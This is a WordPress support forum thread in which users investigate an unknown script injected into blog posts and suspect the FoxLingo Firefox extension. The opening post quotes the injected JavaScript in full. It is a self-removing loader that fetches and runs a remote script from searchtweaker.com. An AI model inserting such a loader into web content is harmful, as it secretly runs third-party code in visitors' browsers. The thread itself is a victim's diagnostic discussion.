WordPress.org

Ready to get started?Download WordPress

Forums

#.appears after URL. And unknown script inserted (7 posts)

  1. darcy2
    Member
    Posted 1 year ago #

    The URL of my posts now appears with a hash after the address (#.ULC followed by various other letters). Also the following script has appeared in some of my posts:

    <p><script id="FoxLingoJs" type="text/javascript">// <![CDATA[
    (function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();
    // ]]></script></p>

    Anyone know what this is and what I should do about it?

  2. Brian
    Member
    Posted 1 year ago #

    Darcy2,

    We are experiencing this same problem at my location. The Javascript code is being injected into HTML code being edited with a third-party .NET HTML editor. Do you happen to have the language translator "Foxlingo" installed as a Firefox extension on your computer?

    Thanks,

    Brian

  3. darcy2
    Member
    Posted 1 year ago #

    I've just got a new computer, but yes I did have Foxlingo as a Firefox extension on the old one and I was using Firefox as my main browser.

  4. Brian
    Member
    Posted 1 year ago #

    Darcy2,

    I am currently investigating the issue in regards to how "FoxLingo" works within Firefox and our .NET HTML control. I believe that the FoxLingo extension is somehow causing the injection of the Javascript code via the automatic translation when a page is displayed. In our case it would be when the .NET HTML editor page is displayed. In your case it would be when the page where you post your comments is displayed. I am assuming that this page has some text area or a HTML editor field for entering your post. I will communicate my findings if I discover anything useful. Please communicate anything that you may find.

    Have a great holiday!

  5. darcy2
    Member
    Posted 1 year ago #

    Brian, I'm sure you're on the right track. I use WordPress to add posts to my site difference-between.com, and I noticed that when adding/editing posts through Firefox (with Foxlingo extension) the foxlingo code got added to the post if I switched between visual and html entry modes. Now that I'm using a different computer and IE without foxlingo, this doesn't happen any more.
    My remaining problem is how to get rid of the hash etc at the end of the post addresses e.g. http://difference-between.com/english-language/kind-sort-and-type/#.UNLEQI1FDDc
    This may be an unrelated issue of course - I don't know. Any ideas on that?

  6. Brian
    Member
    Posted 1 year ago #

    Darcy2,

    Thanks for verifying my theory. I have seen weird behavior when switching between the HTM and source code modes as well, but have not seen javascript code get injected into a page. I will continue to determine what will cause the code to get injected. The problem is that our pages were injected back in September, but the advertisements did not show until last week. Did the code injection occur every time or only sporadically when you were using Firefox? Which version of Firefox and FoxLingo were you using?

    I viewed the page source for "http://difference-between.com/english-language/kind-sort-and-type/#.UNLEQI1FDDc" but could not see any code that looks out of place. Can you provide an example of the "hash" code that you are referring to? How many pages were injected with the "hash" code? Are the pages stored in individual files or is the page content stored in a database? I may have some ideas for getting rid of the "hash" code.

    Thanks!

  7. darcy2
    Member
    Posted 1 year ago #

    Hi Brian. As far as I can tell, it happened whenever I used firefox - version 16.0.2 with foxlingo 2.7.8.
    The code that got inserted into posts is the script that I quoted at the top of this discussion. You won't see it in the post now because I've deleted it. The "hash" that's concerning me is not in the post but in the URL: the #.UNLEQI1FDDc bit at the end of the post's web address, and I don't know how it got there, what it means or how to get rid of it.
    In answer to your question (files v database), WordPress generates posts from a database, as I understand it.
    Thanks for your investigations and any further enlightenment.

Topic Closed

This topic has been closed to new replies.

About this Topic

Tags